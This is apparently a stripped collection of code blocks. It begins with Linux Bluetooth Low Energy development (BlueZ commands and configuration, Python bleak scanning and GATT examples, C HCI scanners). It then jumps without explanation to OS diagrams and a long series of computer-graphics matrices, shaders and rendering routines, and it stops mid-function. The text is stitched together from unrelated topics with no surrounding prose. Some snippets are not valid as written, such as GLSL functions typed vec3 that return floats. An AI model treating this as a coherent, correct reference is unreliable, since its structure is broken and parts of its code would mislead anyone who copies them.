< HCI Command: LE Set Scan Parameters (0x08|0x000b) plen 7
        Type: Passive (0x00)
        Interval: 10.000 msec (0x0010)
        Window: 10.000 msec (0x0010)
        Own address type: Public (0x00)
        Filter policy: Accept all advertisement (0x00)
> HCI Event: Command Complete (0x0e) plen 4
        LE Set Scan Parameters (0x08|0x000b) ncmd 1
        Status: Success (0x00)

# Check status
sudo systemctl status bluetooth

# Start/stop/restart
sudo systemctl start bluetooth
sudo systemctl stop bluetooth
sudo systemctl restart bluetooth

# Enable at boot
sudo systemctl enable bluetooth

# Run in foreground with debug
sudo bluetoothd -n -d

[General]
# Device name
Name = MyDevice

# Discoverable timeout (0 = always discoverable)
DiscoverableTimeout = 0

# Pairable timeout (0 = always pairable)
PairableTimeout = 0

# Privacy (rotate MAC address)
Privacy = device

[Policy]
# Auto-enable controllers
AutoEnable = true

[GATT]
# ATT/GATT cache
Cache = always

# Key size for GATT (7-16)
KeySize = 16

dbus-send --system --print-reply --dest=org.bluez / org.freedesktop.DBus.ObjectManager.GetManagedObjects

dbus-send --system --print-reply --dest=org.bluez /org/bluez/hci0 org.bluez.Adapter1.StartDiscovery

from pydbus import SystemBus

bus = SystemBus()
adapter = bus.get('org.bluez', '/org/bluez/hci0')

# Start scanning
adapter.StartDiscovery()

# Get properties
props = adapter.GetAll('org.bluez.Adapter1')
print(f"Address: {props['Address']}")
print(f"Name: {props['Name']}")

pip install bleak

import asyncio
from bleak import BleakScanner

async def scan():
    devices = await BleakScanner.discover(timeout=5.0)
    for device in devices:
        print(f"{device.address} - {device.name} - RSSI: {device.rssi}")

asyncio.run(scan())

import asyncio
from bleak import BleakScanner

def detection_callback(device, advertisement_data):
    print(f"Found: {device.address} - {device.name}")
    print(f"  RSSI: {advertisement_data.rssi}")
    print(f"  Service UUIDs: {advertisement_data.service_uuids}")
    print(f"  Manufacturer Data: {advertisement_data.manufacturer_data}")

async def scan():
    scanner = BleakScanner(detection_callback)
    await scanner.start()
    await asyncio.sleep(5.0)
    await scanner.stop()

asyncio.run(scan())

import asyncio
from bleak import BleakClient

DEVICE_ADDRESS = "AA:BB:CC:DD:EE:FF"
CHARACTERISTIC_UUID = "00002a00-0000-1000-8000-00805f9b34fb"  # Device Name

async def connect_and_read():
    async with BleakClient(DEVICE_ADDRESS) as client:
        print(f"Connected: {client.is_connected}")

        # Read characteristic
        value = await client.read_gatt_char(CHARACTERISTIC_UUID)
        print(f"Device Name: {value.decode()}")

        # List all services and characteristics
        for service in client.services:
            print(f"Service: {service.uuid}")
            for char in service.characteristics:
                print(f"  Characteristic: {char.uuid}")
                print(f"    Properties: {char.properties}")

asyncio.run(connect_and_read())

import asyncio
from bleak import BleakClient

DEVICE_ADDRESS = "AA:BB:CC:DD:EE:FF"
CHAR_UUID = "00002a06-0000-1000-8000-00805f9b34fb"

async def write_data():
    async with BleakClient(DEVICE_ADDRESS) as client:
        # Write with response
        await client.write_gatt_char(CHAR_UUID, b"\x01\x02\x03")

        # Write without response (faster)
        await client.write_gatt_char(CHAR_UUID, b"\x01\x02\x03", response=False)

asyncio.run(write_data())

import asyncio
from bleak import BleakClient

DEVICE_ADDRESS = "AA:BB:CC:DD:EE:FF"
NOTIFY_CHAR_UUID = "00002a37-0000-1000-8000-00805f9b34fb"  # Heart Rate Measurement

def notification_handler(sender, data):
    """Callback for notifications"""
    print(f"Notification from {sender}: {data.hex()}")

async def receive_notifications():
    async with BleakClient(DEVICE_ADDRESS) as client:
        # Start notifications
        await client.start_notify(NOTIFY_CHAR_UUID, notification_handler)

        # Listen for 30 seconds
        await asyncio.sleep(30.0)

        # Stop notifications
        await client.stop_notify(NOTIFY_CHAR_UUID)

asyncio.run(receive_notifications())

import asyncio
from bleak import BleakClient, BleakScanner

HEART_RATE_SERVICE_UUID = "0000180d-0000-1000-8000-00805f9b34fb"
HEART_RATE_MEASUREMENT_UUID = "00002a37-0000-1000-8000-00805f9b34fb"

def parse_heart_rate(data):
    """Parse heart rate measurement data"""
    flags = data[0]
    hr_format = flags & 0x01

    if hr_format == 0:
        # uint8
        heart_rate = data[1]
    else:
        # uint16
        heart_rate = int.from_bytes(data[1:3], byteorder='little')

    return heart_rate

def notification_handler(sender, data):
    heart_rate = parse_heart_rate(data)
    print(f"Heart Rate: {heart_rate} bpm")

async def main():
    # Find heart rate monitor
    print("Scanning for heart rate monitors...")
    devices = await BleakScanner.discover(
        timeout=5.0,
        service_uuids=[HEART_RATE_SERVICE_UUID]
    )

    if not devices:
        print("No heart rate monitor found")
        return

    device = devices[0]
    print(f"Connecting to {device.name} ({device.address})...")

    async with BleakClient(device.address) as client:
        print("Connected!")

        # Start receiving heart rate notifications
        await client.start_notify(HEART_RATE_MEASUREMENT_UUID, notification_handler)

        print("Monitoring heart rate... (Press Ctrl+C to stop)")
        try:
            while True:
                await asyncio.sleep(1)
        except KeyboardInterrupt:
            print("\nStopping...")

        await client.stop_notify(HEART_RATE_MEASUREMENT_UUID)

asyncio.run(main())

#!/usr/bin/env python3
import dbus
import dbus.mainloop.glib
from gi.repository import GLib
from dbus.service import Object, method
import array

# Define UUIDs
SERVICE_UUID = "12345678-1234-5678-1234-56789abcdef0"
CHAR_UUID = "12345678-1234-5678-1234-56789abcdef1"

dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)

class Characteristic(Object):
    def __init__(self, bus, index, uuid, flags, service):
        self.path = service.path + '/char' + str(index)
        self.uuid = uuid
        self.flags = flags
        self.service = service
        self.value = []

        Object.__init__(self, bus, self.path)

    def get_properties(self):
        return {
            'org.bluez.GattCharacteristic1': {
                'Service': self.service.path,
                'UUID': self.uuid,
                'Flags': self.flags
            }
        }

    @method('org.bluez.GattCharacteristic1', out_signature='ay')
    def ReadValue(self, options):
        print('ReadValue called')
        return self.value

    @method('org.bluez.GattCharacteristic1', in_signature='ay')
    def WriteValue(self, value, options):
        print(f'WriteValue called: {bytes(value)}')
        self.value = value

class Service(Object):
    def __init__(self, bus, index, uuid, primary):
        self.path = '/org/bluez/example/service' + str(index)
        self.uuid = uuid
        self.primary = primary
        self.characteristics = []

        Object.__init__(self, bus, self.path)

    def get_properties(self):
        return {
            'org.bluez.GattService1': {
                'UUID': self.uuid,
                'Primary': self.primary,
                'Characteristics': [char.path for char in self.characteristics]
            }
        }

    def add_characteristic(self, char):
        self.characteristics.append(char)

class Application(Object):
    def __init__(self, bus):
        self.path = '/org/bluez/example'
        self.services = []
        Object.__init__(self, bus, self.path)

    @method('org.freedesktop.DBus.ObjectManager', out_signature='a{oa{sa{sv}}}')
    def GetManagedObjects(self):
        response = {}

        for service in self.services:
            response[service.path] = service.get_properties()
            for char in service.characteristics:
                response[char.path] = char.get_properties()

        return response

    def add_service(self, service):
        self.services.append(service)

def main():
    bus = dbus.SystemBus()

    # Create application
    app = Application(bus)

    # Create service
    service = Service(bus, 0, SERVICE_UUID, True)
    app.add_service(service)

    # Create characteristic
    char = Characteristic(bus, 0, CHAR_UUID, ['read', 'write'], service)
    char.value = array.array('B', b'Hello BLE').tolist()
    service.add_characteristic(char)

    # Register application
    adapter = bus.get_object('org.bluez', '/org/bluez/hci0')
    gatt_manager = dbus.Interface(adapter, 'org.bluez.GattManager1')

    gatt_manager.RegisterApplication(app.path, {})
    print('GATT application registered')

    # Start advertising
    # (Advertising setup code omitted for brevity - use BlueZ advertising API)

    mainloop = GLib.MainLoop()
    mainloop.run()

if __name__ == '__main__':
    main()

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

int main(int argc, char **argv) {
    int dev_id, sock, len, flags;
    int i, num_rsp;
    char addr[19] = {0};
    char name[248] = {0};
    inquiry_info *info = NULL;

    // Get default Bluetooth adapter
    dev_id = hci_get_route(NULL);
    if (dev_id < 0) {
        perror("No Bluetooth adapter found");
        exit(1);
    }

    // Open HCI socket
    sock = hci_open_dev(dev_id);
    if (sock < 0) {
        perror("Failed to open HCI socket");
        exit(1);
    }

    // Perform inquiry
    len = 8;  // Inquiry length (1.28 * len seconds)
    num_rsp = 255;  // Max number of responses
    flags = IREQ_CACHE_FLUSH;

    info = (inquiry_info*)malloc(num_rsp * sizeof(inquiry_info));

    printf("Scanning for devices...\n");
    num_rsp = hci_inquiry(dev_id, len, num_rsp, NULL, &info, flags);
    if (num_rsp < 0) {
        perror("Inquiry failed");
        exit(1);
    }

    printf("Found %d device(s)\n", num_rsp);

    // Get device info
    for (i = 0; i < num_rsp; i++) {
        ba2str(&(info + i)->bdaddr, addr);
        memset(name, 0, sizeof(name));

        if (hci_read_remote_name(sock, &(info + i)->bdaddr, sizeof(name), name, 0) < 0)
            strcpy(name, "[unknown]");

        printf("%s  %s\n", addr, name);
    }

    free(info);
    close(sock);

    return 0;
}

gcc -o scanner scanner.c -lbluetooth

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

int main() {
    int dev_id, sock;
    uint8_t scan_type = 0x01;  // Active scanning
    uint16_t interval = htobs(0x0010);  // 10ms
    uint16_t window = htobs(0x0010);    // 10ms
    uint8_t own_type = 0x00;  // Public address
    uint8_t filter_policy = 0x00;  // Accept all

    // Get default adapter
    dev_id = hci_get_route(NULL);
    if (dev_id < 0) {
        perror("No adapter found");
        return 1;
    }

    // Open HCI socket
    sock = hci_open_dev(dev_id);
    if (sock < 0) {
        perror("Could not open device");
        return 1;
    }

    // Set scan parameters
    if (hci_le_set_scan_parameters(sock, scan_type, interval, window,
                                   own_type, filter_policy, 1000) < 0) {
        perror("Set scan parameters failed");
        return 1;
    }

    // Enable scanning
    if (hci_le_set_scan_enable(sock, 0x01, 1, 1000) < 0) {
        perror("Enable scan failed");
        return 1;
    }

    printf("Scanning for BLE devices...\n");
    sleep(10);

    // Disable scanning
    hci_le_set_scan_enable(sock, 0x00, 1, 1000);

    hci_close_dev(sock);
    return 0;
}

Device A          Device B
   |                  |
   |--- Pairing Req ->|
   |<-- Pairing Rsp --|
   |                  |
   | (Exchange random values)
   |                  |
   |<-- Encrypted -->|

bluetoothctl

# Trust device (allows auto-reconnect)
[bluetooth]# trust AA:BB:CC:DD:EE:FF

# List paired devices
[bluetooth]# paired-devices

# Remove bonding
[bluetooth]# remove AA:BB:CC:DD:EE:FF

[General]
Privacy = device

# Example characteristic permissions
permissions = [
    'read',           # Allow read
    'write',          # Allow write (requires response)
    'encrypt-read',   # Require encryption for read
    'encrypt-write',  # Require encryption for write
    'secure-read',    # Require authenticated encryption
    'secure-write',   # Require authenticated encryption
]

#!/usr/bin/env python3
"""
Read temperature from a BLE thermometer
Assumes Health Thermometer Service (0x1809)
"""
import asyncio
import struct
from bleak import BleakClient, BleakScanner

HEALTH_THERMOMETER_SERVICE = "00001809-0000-1000-8000-00805f9b34fb"
TEMPERATURE_MEASUREMENT_CHAR = "00002a1c-0000-1000-8000-00805f9b34fb"

def parse_temperature(data):
    """Parse temperature measurement characteristic"""
    flags = data[0]

    # Check if Fahrenheit (bit 0)
    unit = "°F" if flags & 0x01 else "°C"

    # Temperature is IEEE-11073 32-bit float
    temp_bytes = data[1:5]

    # IEEE-11073 format: mantissa (24-bit) + exponent (8-bit)
    mantissa = int.from_bytes(temp_bytes[0:3], byteorder='little', signed=True)
    exponent = struct.unpack('b', bytes([temp_bytes[3]]))[0]  # signed 8-bit

    temperature = mantissa * (10 ** exponent)

    return temperature, unit

def notification_handler(sender, data):
    temp, unit = parse_temperature(data)
    print(f"Temperature: {temp:.1f} {unit}")

async def main():
    print("Scanning for thermometers...")

    devices = await BleakScanner.discover(
        timeout=5.0,
        service_uuids=[HEALTH_THERMOMETER_SERVICE]
    )

    if not devices:
        print("No thermometer found")
        return

    device = devices[0]
    print(f"Found thermometer: {device.name} ({device.address})")

    async with BleakClient(device.address) as client:
        print("Connected! Waiting for temperature measurements...")

        await client.start_notify(TEMPERATURE_MEASUREMENT_CHAR, notification_handler)

        # Listen for 60 seconds
        await asyncio.sleep(60)

        await client.stop_notify(TEMPERATURE_MEASUREMENT_CHAR)

if __name__ == "__main__":
    asyncio.run(main())

#!/usr/bin/env python3
"""
Scan for iBeacons and parse their data
"""
import asyncio
from bleak import BleakScanner

def parse_ibeacon(manufacturer_data):
    """Parse iBeacon advertisement data"""
    # iBeacon: Company ID (0x004C = Apple) + iBeacon prefix (0x02 0x15)
    for company_id, data in manufacturer_data.items():
        if company_id == 0x004C and len(data) >= 23:
            if data[0:2] == bytes([0x02, 0x15]):
                # iBeacon format:
                # 0-15: UUID (16 bytes)
                # 16-17: Major (2 bytes)
                # 18-19: Minor (2 bytes)
                # 20: TX Power (1 byte, signed)

                uuid = data[2:18].hex()
                uuid_formatted = f"{uuid[0:8]}-{uuid[8:12]}-{uuid[12:16]}-{uuid[16:20]}-{uuid[20:32]}"
                major = int.from_bytes(data[18:20], byteorder='big')
                minor = int.from_bytes(data[20:22], byteorder='big')
                tx_power = struct.unpack('b', bytes([data[22]]))[0]

                return {
                    'uuid': uuid_formatted,
                    'major': major,
                    'minor': minor,
                    'tx_power': tx_power
                }
    return None

def detection_callback(device, advertisement_data):
    beacon_data = parse_ibeacon(advertisement_data.manufacturer_data)

    if beacon_data:
        print(f"\niBeacon detected:")
        print(f"  Address: {device.address}")
        print(f"  UUID: {beacon_data['uuid']}")
        print(f"  Major: {beacon_data['major']}")
        print(f"  Minor: {beacon_data['minor']}")
        print(f"  TX Power: {beacon_data['tx_power']} dBm")
        print(f"  RSSI: {advertisement_data.rssi} dBm")

        # Estimate distance (very rough)
        if advertisement_data.rssi:
            ratio = advertisement_data.rssi / beacon_data['tx_power']
            if ratio < 1.0:
                distance = ratio ** 10
            else:
                distance = (0.89976) * (ratio ** 7.7095) + 0.111
            print(f"  Estimated distance: {distance:.2f} m")

async def main():
    print("Scanning for iBeacons... (Press Ctrl+C to stop)")

    scanner = BleakScanner(detection_callback)
    await scanner.start()

    try:
        while True:
            await asyncio.sleep(1)
    except KeyboardInterrupt:
        print("\nStopping scan...")

    await scanner.stop()

if __name__ == "__main__":
    import struct
    asyncio.run(main())

#!/usr/bin/env python3
"""
Nordic UART Service (NUS) example
Allows bidirectional serial communication over BLE
"""
import asyncio
from bleak import BleakClient, BleakScanner

# Nordic UART Service UUIDs
NUS_SERVICE_UUID = "6e400001-b5a3-f393-e0a9-e50e24dcca9e"
NUS_RX_CHAR_UUID = "6e400002-b5a3-f393-e0a9-e50e24dcca9e"  # Write to this
NUS_TX_CHAR_UUID = "6e400003-b5a3-f393-e0a9-e50e24dcca9e"  # Receive from this

def notification_handler(sender, data):
    """Handle incoming data"""
    try:
        message = data.decode('utf-8')
        print(f"Received: {message}")
    except:
        print(f"Received (hex): {data.hex()}")

async def main():
    print("Scanning for devices with Nordic UART Service...")

    devices = await BleakScanner.discover(
        timeout=5.0,
        service_uuids=[NUS_SERVICE_UUID]
    )

    if not devices:
        print("No device with NUS found")
        return

    device = devices[0]
    print(f"Connecting to {device.name} ({device.address})...")

    async with BleakClient(device.address) as client:
        print("Connected!")

        # Enable notifications for RX
        await client.start_notify(NUS_TX_CHAR_UUID, notification_handler)

        # Send data
        message = "Hello from Python!\n"
        await client.write_gatt_char(NUS_RX_CHAR_UUID, message.encode('utf-8'))
        print(f"Sent: {message}")

        # Listen for responses
        await asyncio.sleep(10)

        await client.stop_notify(NUS_TX_CHAR_UUID)

if __name__ == "__main__":
    asyncio.run(main())

#!/usr/bin/env python3
"""
Monitor battery level from BLE device
"""
import asyncio
from bleak import BleakClient

BATTERY_SERVICE_UUID = "0000180f-0000-1000-8000-00805f9b34fb"
BATTERY_LEVEL_CHAR_UUID = "00002a19-0000-1000-8000-00805f9b34fb"

async def read_battery(address):
    async with BleakClient(address) as client:
        # Check if battery service exists
        services = client.services

        battery_service = services.get_service(BATTERY_SERVICE_UUID)
        if not battery_service:
            print("Device does not have Battery Service")
            return

        # Read battery level
        battery_level = await client.read_gatt_char(BATTERY_LEVEL_CHAR_UUID)
        level = int.from_bytes(battery_level, byteorder='little')

        print(f"Battery Level: {level}%")

        # Check if notifications are supported
        char = battery_service.get_characteristic(BATTERY_LEVEL_CHAR_UUID)
        if 'notify' in char.properties:
            print("Battery notifications supported")

            def battery_notification_handler(sender, data):
                level = int.from_bytes(data, byteorder='little')
                print(f"Battery Level Updated: {level}%")

            await client.start_notify(BATTERY_LEVEL_CHAR_UUID, battery_notification_handler)
            print("Listening for battery updates... (30 seconds)")
            await asyncio.sleep(30)
            await client.stop_notify(BATTERY_LEVEL_CHAR_UUID)

if __name__ == "__main__":
    import sys

    if len(sys.argv) < 2:
        print("Usage: python battery_monitor.py <device_address>")
        sys.exit(1)

    address = sys.argv[1]
    asyncio.run(read_battery(address))

sudo hciconfig hci0 up
# or
bluetoothctl power on

# Run with sudo
sudo hcitool lescan

# Or add capabilities to Python
sudo setcap cap_net_raw,cap_net_admin+eip $(which python3)

sudo hciconfig hci0 reset
sudo systemctl restart bluetooth

bluetoothctl remove AA:BB:CC:DD:EE:FF

# In bluetoothctl, check characteristic flags
bluetoothctl
[bluetooth]# menu gatt
[bluetooth]# list-attributes <device>

# For notifications, ensure CCCD is written
CCCD_UUID = "00002902-0000-1000-8000-00805f9b34fb"
await client.write_gatt_char(CCCD_UUID, b"\x01\x00")

# Request larger MTU for better throughput
await client.exchange_mtu(512)

bluetoothctl
[bluetooth]# agent on
[bluetooth]# default-agent
[bluetooth]# pair AA:BB:CC:DD:EE:FF

# Ensure bluetooth-agent or bluetoothctl agent is active
ps aux | grep agent

bluetoothctl remove AA:BB:CC:DD:EE:FF
# Then pair again

# In bluetoothctl
[bluetooth]# info AA:BB:CC:DD:EE:FF
# Look for RSSI value

await client.write_gatt_char(uuid, data, response=False)

await client.exchange_mtu(512)

# Capture all Bluetooth traffic
sudo btmon

# Save to file for analysis
sudo btmon -w capture.btsnoop

# Analyze with Wireshark
wireshark capture.btsnoop

# Dump HCI data
sudo hcidump -X

bluetoothctl --version

# Check if Bluetooth modules loaded
lsmod | grep bluetooth

# Reload modules
sudo modprobe -r btusb
sudo modprobe btusb

# Check for Bluetooth errors
dmesg | grep -i bluetooth

await client.exchange_mtu(512)

await client.write_gatt_char(uuid, data, response=False)

New → Ready → Running → Terminated
         ↑       ↓
         ←  Waiting

Registers (fastest, smallest)
↓
Cache (L1, L2, L3)
↓
Main Memory (RAM)
↓
Secondary Storage (SSD/HDD)
↓
Tertiary Storage (slowest, largest)

# RGB color representation
red = (255, 0, 0)
green = (0, 255, 0)
blue = (0, 0, 255)
white = (255, 255, 255)

T(tx, ty, tz) = |1  0  0  tx|
                |0  1  0  ty|
                |0  0  1  tz|
                |0  0  0  1 |

S(sx, sy, sz) = |sx 0  0  0|
                |0  sy 0  0|
                |0  0  sz 0|
                |0  0  0  1|

Rz(θ) = |cos(θ) -sin(θ)  0  0|
        |sin(θ)  cos(θ)  0  0|
        |0       0       1  0|
        |0       0       0  1|

P_clip = Projection × View × Model × P_local

Vertex Data
    ↓
Vertex Shader (programmable)
    ↓
Tessellation Control Shader (optional)
    ↓
Tessellation Evaluation Shader (optional)
    ↓
Geometry Shader (optional)
    ↓
Rasterization (fixed)
    ↓
Fragment/Pixel Shader (programmable)
    ↓
Output Merger (configurable)
    ↓
Frame Buffer

// Simple GLSL vertex shader
#version 330 core
layout (location = 0) in vec3 aPos;
layout (location = 1) in vec3 aNormal;

uniform mat4 model;
uniform mat4 view;
uniform mat4 projection;

out vec3 FragPos;
out vec3 Normal;

void main() {
    FragPos = vec3(model * vec4(aPos, 1.0));
    Normal = mat3(transpose(inverse(model))) * aNormal;
    gl_Position = projection * view * vec4(FragPos, 1.0);
}

// Simple GLSL fragment shader
#version 330 core
out vec4 FragColor;

in vec3 FragPos;
in vec3 Normal;

uniform vec3 lightPos;
uniform vec3 viewPos;
uniform vec3 lightColor;
uniform vec3 objectColor;

void main() {
    // Ambient
    float ambientStrength = 0.1;
    vec3 ambient = ambientStrength * lightColor;

    // Diffuse
    vec3 norm = normalize(Normal);
    vec3 lightDir = normalize(lightPos - FragPos);
    float diff = max(dot(norm, lightDir), 0.0);
    vec3 diffuse = diff * lightColor;

    // Specular
    float specularStrength = 0.5;
    vec3 viewDir = normalize(viewPos - FragPos);
    vec3 reflectDir = reflect(-lightDir, norm);
    float spec = pow(max(dot(viewDir, reflectDir), 0.0), 32);
    vec3 specular = specularStrength * spec * lightColor;

    vec3 result = (ambient + diffuse + specular) * objectColor;
    FragColor = vec4(result, 1.0);
}

def bresenham_line(x0, y0, x1, y1):
    points = []
    dx = abs(x1 - x0)
    dy = abs(y1 - y0)
    sx = 1 if x0 < x1 else -1
    sy = 1 if y0 < y1 else -1
    err = dx - dy

    while True:
        points.append((x0, y0))
        if x0 == x1 and y0 == y1:
            break
        e2 = 2 * err
        if e2 > -dy:
            err -= dy
            x0 += sx
        if e2 < dx:
            err += dx
            y0 += sy

    return points

def midpoint_circle(xc, yc, r):
    points = []
    x = 0
    y = r
    p = 1 - r

    while x <= y:
        # Plot 8 symmetric points
        points.extend([
            (xc + x, yc + y), (xc - x, yc + y),
            (xc + x, yc - y), (xc - x, yc - y),
            (xc + y, yc + x), (xc - y, yc + x),
            (xc + y, yc - x), (xc - y, yc - x)
        ])

        x += 1
        if p < 0:
            p += 2 * x + 1
        else:
            y -= 1
            p += 2 * (x - y) + 1

    return points

def flood_fill(image, x, y, new_color, old_color):
    if (x < 0 or x >= image.width or y < 0 or y >= image.height):
        return
    if image[x][y] != old_color:
        return

    image[x][y] = new_color
    flood_fill(image, x+1, y, new_color, old_color)
    flood_fill(image, x-1, y, new_color, old_color)
    flood_fill(image, x, y+1, new_color, old_color)
    flood_fill(image, x, y-1, new_color, old_color)

Translation: |1  0  tx|
            |0  1  ty|
            |0  0  1 |

Rotation:    |cos(θ) -sin(θ)  0|
            |sin(θ)  cos(θ)  0|
            |0       0       1|

Scaling:     |sx  0   0|
            |0   sy  0|
            |0   0   1|

# Triangle mesh structure
class Mesh:
    def __init__(self):
        self.vertices = []  # List of (x, y, z) tuples
        self.faces = []     # List of vertex index tuples
        self.normals = []   # List of normal vectors
        self.uvs = []       # List of texture coordinates

def is_front_facing(vertex0, vertex1, vertex2, camera_pos):
    # Calculate face normal
    edge1 = vertex1 - vertex0
    edge2 = vertex2 - vertex0
    normal = cross(edge1, edge2)

    # Vector from face to camera
    to_camera = camera_pos - vertex0

    # If dot product is positive, face is front-facing
    return dot(normal, to_camera) > 0

Ortho Matrix:
|2/(r-l)    0         0        -(r+l)/(r-l)|
|0          2/(t-b)   0        -(t+b)/(t-b)|
|0          0        -2/(f-n)  -(f+n)/(f-n)|
|0          0         0         1          |

where l,r = left,right; b,t = bottom,top; n,f = near,far

Perspective Matrix (OpenGL):
|2n/(r-l)   0         (r+l)/(r-l)   0        |
|0          2n/(t-b)  (t+b)/(t-b)   0        |
|0          0        -(f+n)/(f-n)  -2fn/(f-n)|
|0          0        -1             0        |

def perspective_matrix(fov_y, aspect, near, far):
    f = 1.0 / tan(fov_y / 2.0)
    return [
        [f/aspect, 0, 0, 0],
        [0, f, 0, 0],
        [0, 0, (far+near)/(near-far), (2*far*near)/(near-far)],
        [0, 0, -1, 0]
    ]

def barycentric_coords(p, a, b, c):
    """
    Compute barycentric coordinates (u, v, w) for point p
    with respect to triangle (a, b, c)
    """
    v0 = b - a
    v1 = c - a
    v2 = p - a

    d00 = dot(v0, v0)
    d01 = dot(v0, v1)
    d11 = dot(v1, v1)
    d20 = dot(v2, v0)
    d21 = dot(v2, v1)

    denom = d00 * d11 - d01 * d01
    v = (d11 * d20 - d01 * d21) / denom
    w = (d00 * d21 - d01 * d20) / denom
    u = 1.0 - v - w

    return (u, v, w)

# Interpolate attribute at point p
def interpolate_attribute(p, a, b, c, attr_a, attr_b, attr_c):
    u, v, w = barycentric_coords(p, a, b, c)
    return u * attr_a + v * attr_b + w * attr_c

def render_with_zbuffer(triangles, width, height):
    color_buffer = [[background_color] * width for _ in range(height)]
    z_buffer = [[float('inf')] * width for _ in range(height)]

    for triangle in triangles:
        for x, y in pixels_covered_by_triangle(triangle):
            z = interpolate_depth(triangle, x, y)

            if z < z_buffer[y][x]:
                z_buffer[y][x] = z
                color_buffer[y][x] = shade_pixel(triangle, x, y)

    return color_buffer

I_ambient = k_a × I_a

I_diffuse = k_d × I_l × max(N · L, 0)

I_specular = k_s × I_l × max(R · V, 0)^α

I = I_ambient + I_diffuse + I_specular

I_specular = k_s × I_l × max(N · H, 0)^α

where H = normalize(L + V)

def flat_shade(triangle, light_dir):
    normal = calculate_face_normal(triangle)
    intensity = max(dot(normal, light_dir), 0)
    return base_color * intensity

def gouraud_shade(triangle, light_dir):
    # Calculate intensity at each vertex
    i0 = phong_lighting(triangle.v0, triangle.n0, light_dir)
    i1 = phong_lighting(triangle.v1, triangle.n1, light_dir)
    i2 = phong_lighting(triangle.v2, triangle.n2, light_dir)

    # Interpolate across triangle
    for pixel in triangle:
        u, v, w = barycentric_coords(pixel, triangle)
        intensity = u*i0 + v*i1 + w*i2
        pixel.color = base_color * intensity

def phong_shade(triangle, light_dir, view_dir):
    for pixel in triangle:
        # Interpolate normal at pixel
        u, v, w = barycentric_coords(pixel, triangle)
        normal = normalize(u*n0 + v*n1 + w*n2)

        # Calculate lighting for this pixel
        intensity = phong_lighting(pixel.pos, normal, light_dir, view_dir)
        pixel.color = base_color * intensity

vec3 directional_light(vec3 direction, vec3 normal) {
    return max(dot(normal, -direction), 0.0);
}

vec3 point_light(vec3 lightPos, vec3 fragPos, vec3 normal) {
    vec3 lightDir = normalize(lightPos - fragPos);
    float distance = length(lightPos - fragPos);
    float attenuation = 1.0 / (constant + linear * distance +
                               quadratic * distance * distance);
    return max(dot(normal, lightDir), 0.0) * attenuation;
}

vec3 spot_light(vec3 lightPos, vec3 lightDir, vec3 fragPos, vec3 normal) {
    vec3 toFragment = normalize(fragPos - lightPos);
    float theta = dot(toFragment, normalize(lightDir));

    if (theta > cutoff) {
        // Inside spotlight cone
        float intensity = (theta - outerCutoff) / (cutoff - outerCutoff);
        return intensity * point_light(lightPos, fragPos, normal);
    }
    return vec3(0.0);
}

class Vertex:
    def __init__(self, position, normal, uv):
        self.position = position  # (x, y, z)
        self.normal = normal      # (nx, ny, nz)
        self.uv = uv             # (u, v)

def nearest_neighbor(texture, u, v):
    x = int(u * texture.width)
    y = int(v * texture.height)
    return texture[y][x]

def bilinear_filter(texture, u, v):
    x = u * (texture.width - 1)
    y = v * (texture.height - 1)

    x0, y0 = int(x), int(y)
    x1, y1 = x0 + 1, y0 + 1

    # Fractional parts
    fx = x - x0
    fy = y - y0

    # Get 4 texel colors
    c00 = texture[y0][x0]
    c10 = texture[y0][x1]
    c01 = texture[y1][x0]
    c11 = texture[y1][x1]

    # Interpolate
    c0 = lerp(c00, c10, fx)
    c1 = lerp(c01, c11, fx)
    return lerp(c0, c1, fy)

Level 0: 1024×1024 (original)
Level 1: 512×512
Level 2: 256×256
...
Level 10: 1×1

def generate_mipmaps(texture):
    mipmaps = [texture]
    current = texture

    while current.width > 1 and current.height > 1:
        # Downsample by averaging 2×2 blocks
        next_level = Image(current.width // 2, current.height // 2)
        for y in range(next_level.height):
            for x in range(next_level.width):
                next_level[y][x] = average([
                    current[2*y][2*x],
                    current[2*y][2*x+1],
                    current[2*y+1][2*x],
                    current[2*y+1][2*x+1]
                ])
        mipmaps.append(next_level)
        current = next_level

    return mipmaps

vec3 normal_mapping(sampler2D normalMap, vec2 uv, vec3 tangent, vec3 bitangent, vec3 normal) {
    // Sample normal from texture
    vec3 texNormal = texture(normalMap, uv).rgb * 2.0 - 1.0;

    // Transform from tangent space to world space
    mat3 TBN = mat3(tangent, bitangent, normal);
    return normalize(TBN * texNormal);
}

vec3 environment_mapping(samplerCube envMap, vec3 viewDir, vec3 normal) {
    vec3 reflected = reflect(viewDir, normal);
    return texture(envMap, reflected).rgb;
}

vec3 cook_torrance(vec3 N, vec3 V, vec3 L, vec3 albedo, float roughness, float metallic) {
    vec3 H = normalize(V + L);

    // Normal Distribution Function (GGX/Trowbridge-Reitz)
    float NDF = DistributionGGX(N, H, roughness);

    // Geometry Function (Smith's method)
    float G = GeometrySmith(N, V, L, roughness);

    // Fresnel (Schlick's approximation)
    vec3 F0 = mix(vec3(0.04), albedo, metallic);
    vec3 F = fresnelSchlick(max(dot(H, V), 0.0), F0);

    // Specular term
    vec3 numerator = NDF * G * F;
    float denominator = 4.0 * max(dot(N, V), 0.0) * max(dot(N, L), 0.0) + 0.0001;
    vec3 specular = numerator / denominator;

    // Energy conservation
    vec3 kD = (vec3(1.0) - F) * (1.0 - metallic);

    // Lambertian diffuse
    vec3 diffuse = kD * albedo / PI;

    float NdotL = max(dot(N, L), 0.0);
    return (diffuse + specular) * NdotL;
}

// G-Buffer pass (fragment shader)
layout (location = 0) out vec3 gPosition;
layout (location = 1) out vec3 gNormal;
layout (location = 2) out vec4 gAlbedoSpec;

void main() {
    gPosition = FragPos;
    gNormal = normalize(Normal);
    gAlbedoSpec.rgb = texture(albedoMap, TexCoords).rgb;
    gAlbedoSpec.a = texture(specularMap, TexCoords).r;
}

// Lighting pass
vec3 lighting = vec3(0.0);
for (Light light : lights) {
    vec3 position = texture(gPosition, TexCoords).rgb;
    vec3 normal = texture(gNormal, TexCoords).rgb;
    vec3 albedo = texture(gAlbedoSpec, TexCoords).rgb;

    lighting += calculate_light(light, position, normal, albedo);
}

float ssao(vec2 texCoord, vec3 position, vec3 normal) {
    float occlusion = 0.0;

    for (int i = 0; i < kernelSize; i++) {
        // Sample position
